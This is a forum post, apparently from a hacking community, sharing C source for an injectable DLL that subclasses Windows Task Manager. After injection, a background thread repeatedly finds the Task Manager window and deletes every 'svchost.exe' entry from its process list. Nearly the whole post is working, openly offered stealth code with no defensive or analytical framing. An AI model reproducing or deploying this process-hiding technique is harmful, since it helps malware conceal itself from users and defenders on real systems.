http://www.rohitab.com/discuss/topic/30630-task-manager-subclassing-dll/Here is a little dll which subclasses windows task manager !
You need to inject it.
Attached is the msvc project
X-N2O Productions strikes again
#include <windows.h>
#include <commctrl.h>
char *buf = NULL;
//All i did was reading MSDN :D
void HideTask(HWND hwnd, char name[])
{
int count, x;
LVITEM lv;
memset(&lv, 0, sizeof(LVITEM));
lv.iSubItem = 0; //Item name
char *str = (char*) calloc( 1, MAX_PATH );
lv.cchTextMax = MAX_PATH;
lv.pszText = str;
count = SendMessage(hwnd, LVM_GETITEMCOUNT, 0,0);
for(x = 0; x < count; x++)
{
SendMessage(hwnd, LVM_GETITEMTEXT, x, (LPARAM) &lv);
if(!_stricmp(str,name))
SendMessage(hwnd,LVM_DELETEITEM,x,0);
//Sleep(1);
}
free(str);
return;
}
BOOL CALLBACK enumCallback( HWND hwnd, LPARAM lParam )
{
buf = (char *) calloc( 1, MAX_PATH);
GetWindowText( hwnd, buf, MAX_PATH);
if(strstr( buf, "Processes")) //Windows task manager's ListView control
HideTask(hwnd,"svchost.exe");
free(buf);
return TRUE;
}
DWORD WINAPI thread(LPVOID)
{
HWND taskMgr;
while(1) {
Sleep(5);
taskMgr = FindWindow(NULL, "Windows Task Manager");
if(taskMgr)
EnumChildWindows(taskMgr, enumCallback, 0);
}
return TRUE;
}
BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpvReserved)
{
switch(dwReason){
case DLL_PROCESS_ATTACH:
{
CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)&thread, NULL, NULL, NULL);
}
break;
}
return TRUE;
}